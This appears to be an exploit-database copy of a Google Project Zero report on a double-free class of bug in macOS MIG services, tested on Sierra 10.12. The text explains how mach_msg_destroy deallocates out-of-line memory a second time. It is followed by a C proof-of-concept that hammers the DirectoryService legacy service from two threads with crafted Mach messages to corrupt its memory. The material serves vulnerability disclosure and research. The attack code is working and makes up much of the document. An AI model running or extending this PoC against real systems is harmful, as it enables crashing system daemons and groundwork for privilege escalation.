180 lines
No EOL
6 KiB
C
180 lines
No EOL
6 KiB
C
/*
|
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=954
|
|
|
|
Proofs of Concept:
|
|
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40954.zip
|
|
|
|
Userspace MIG services often use mach_msg_server or mach_msg_server_once to implent an RPC server.
|
|
|
|
These two functions are also responsible for managing the resources associated with each message
|
|
similar to the ipc_kobject_server routine in the kernel.
|
|
|
|
If a MIG handler method returns an error code then it is assumed to not have take ownership of any
|
|
of the resources in the message and both mach_msg_server and mach_msg_server_once will pass the message
|
|
to mach_msg_destroy:
|
|
|
|
If the message had and OOL memory descriptor it reaches this code:
|
|
|
|
|
|
case MACH_MSG_OOL_DESCRIPTOR : {
|
|
mach_msg_ool_descriptor_t *dsc;
|
|
|
|
dsc = &saddr->out_of_line;
|
|
if (dsc->deallocate) {
|
|
mach_msg_destroy_memory((vm_offset_t)dsc->address,
|
|
dsc->size);
|
|
}
|
|
break;
|
|
}
|
|
|
|
...
|
|
|
|
static void
|
|
mach_msg_destroy_memory(vm_offset_t addr, vm_size_t size)
|
|
{
|
|
if (size != 0)
|
|
(void) vm_deallocate(mach_task_self(), addr, size);
|
|
}
|
|
|
|
If the deallocate flag is set in the ool descriptor then this will pass the address contained in the descriptor
|
|
to vm_deallocate.
|
|
|
|
By default MIG client code passes OOL memory with the copy type set to MACH_MSG_PHYSICAL_COPY which ends up with the
|
|
receiver getting a 0 value for deallocate (meaning that you *do* need vm_deallocate it in the handler even if you return
|
|
and error) but by setting the copy type to MACH_MSG_VIRTUAL_COPY in the sender deallocate will be 1 in the receiver meaning
|
|
that in cases where the MIG handler vm_deallocate's the ool memory and returns an error code the mach_msg_* code will
|
|
deallocate it again.
|
|
|
|
Exploitability hinges on being able to get the memory reallocated inbetween the two vm_deallocate calls, probably in another thread.
|
|
|
|
This PoC only demonstrates that an instance of the bug does exist in the first service I looked at,
|
|
com.apple.system.DirectoryService.legacy hosted by /usr/libexec/dspluginhelperd. Trace through in a debugger and you'll see the
|
|
two calls to vm_deallocate, first in _receive_session_create which returns an error code via the MIG reply message then in
|
|
mach_msg_destroy.
|
|
|
|
Note that this service has multiple threads interacting with mach messages in parallel.
|
|
|
|
I will have a play with some other services and try to exploit an instance of this bug class but the severity should
|
|
be clear from this PoC alone.
|
|
|
|
Tested on MacOS Sierra 10.12 16A323
|
|
|
|
##############################################################################
|
|
|
|
crash PoC
|
|
|
|
dspluginhelperd actually uses a global dispatch queue to receive and process mach messages,
|
|
these are by default parallel which makes triggering this bug to demonstrate memory corruption
|
|
quite easy, just talk to the service on two threads in parallel.
|
|
|
|
Note again that this isn't a report about this particular bug in this service but about the
|
|
MIG ecosystem - the various hand-written equivilents of mach_msg_server* / dispatch_mig_server
|
|
eg in notifyd and lots of other services all have the same issue.
|
|
|
|
*/
|
|
|
|
// ianbeer
|
|
// build: clang -o dsplug_parallel dsplug_parallel.c -lpthread
|
|
|
|
/*
|
|
crash PoC
|
|
|
|
dspluginhelperd actually uses a global dispatch queue to receive and process mach messages,
|
|
these are by default parallel which makes triggering this bug to demonstrate memory corruption
|
|
quite easy, just talk to the service on two threads in parallel.
|
|
|
|
Note again that this isn't a report about this particular bug in this service but about the
|
|
MIG ecosystem - the various hand-written equivilents of mach_msg_server* / dispatch_mig_server
|
|
eg in notifyd and lots of other services all have the same issue.
|
|
*/
|
|
|
|
|
|
#include <pthread.h>
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
|
|
#include <servers/bootstrap.h>
|
|
#include <mach/mach.h>
|
|
|
|
char* service_name = "com.apple.system.DirectoryService.legacy";
|
|
|
|
mach_msg_header_t* msg;
|
|
|
|
struct dsmsg {
|
|
mach_msg_header_t hdr; // +0 (0x18)
|
|
mach_msg_body_t body; // +0x18 (0x4)
|
|
mach_msg_port_descriptor_t ool_port; // +0x1c (0xc)
|
|
mach_msg_ool_descriptor_t ool_data; // +0x28 (0x10)
|
|
uint8_t payload[0x8]; // +0x38 (0x8)
|
|
uint32_t ool_size; // +0x40 (0x4)
|
|
}; // +0x44
|
|
|
|
mach_port_t service_port = MACH_PORT_NULL;
|
|
|
|
void* do_thread(void* arg) {
|
|
struct dsmsg* msg = (struct dsmsg*)arg;
|
|
for(;;){
|
|
kern_return_t err;
|
|
err = mach_msg(&msg->hdr,
|
|
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
|
|
(mach_msg_size_t)sizeof(struct dsmsg),
|
|
0,
|
|
MACH_PORT_NULL,
|
|
MACH_MSG_TIMEOUT_NONE,
|
|
MACH_PORT_NULL);
|
|
printf("%s\n", mach_error_string(err));
|
|
}
|
|
return NULL;
|
|
}
|
|
|
|
int main() {
|
|
mach_port_t bs;
|
|
task_get_bootstrap_port(mach_task_self(), &bs);
|
|
|
|
kern_return_t err = bootstrap_look_up(bs, service_name, &service_port);
|
|
if(err != KERN_SUCCESS){
|
|
printf("unable to look up %s\n", service_name);
|
|
return 1;
|
|
}
|
|
|
|
if (service_port == MACH_PORT_NULL) {
|
|
printf("bad service port\n");
|
|
return 1;
|
|
}
|
|
|
|
printf("got port\n");
|
|
|
|
void* ool = malloc(0x100000);
|
|
memset(ool, 'A', 0x1000);
|
|
|
|
struct dsmsg msg = {0};
|
|
|
|
msg.hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
|
|
msg.hdr.msgh_remote_port = service_port;
|
|
msg.hdr.msgh_local_port = MACH_PORT_NULL;
|
|
msg.hdr.msgh_id = 0x2328; // session_create
|
|
|
|
msg.body.msgh_descriptor_count = 2;
|
|
|
|
msg.ool_port.name = MACH_PORT_NULL;
|
|
msg.ool_port.disposition = 20;
|
|
msg.ool_port.type = MACH_MSG_PORT_DESCRIPTOR;
|
|
|
|
msg.ool_data.address = ool;
|
|
msg.ool_data.size = 0x1000;
|
|
msg.ool_data.deallocate = 0; //1;
|
|
msg.ool_data.copy = MACH_MSG_VIRTUAL_COPY;//MACH_MSG_PHYSICAL_COPY;
|
|
msg.ool_data.type = MACH_MSG_OOL_DESCRIPTOR;
|
|
|
|
msg.ool_size = 0x1000;
|
|
|
|
pthread_t threads[2] = {0};
|
|
pthread_create(&threads[0], NULL, do_thread, (void*)&msg);
|
|
pthread_create(&threads[1], NULL, do_thread, (void*)&msg);
|
|
|
|
pthread_join(threads[0], NULL);
|
|
pthread_join(threads[1], NULL);
|
|
|
|
|
|
return 0;
|
|
} |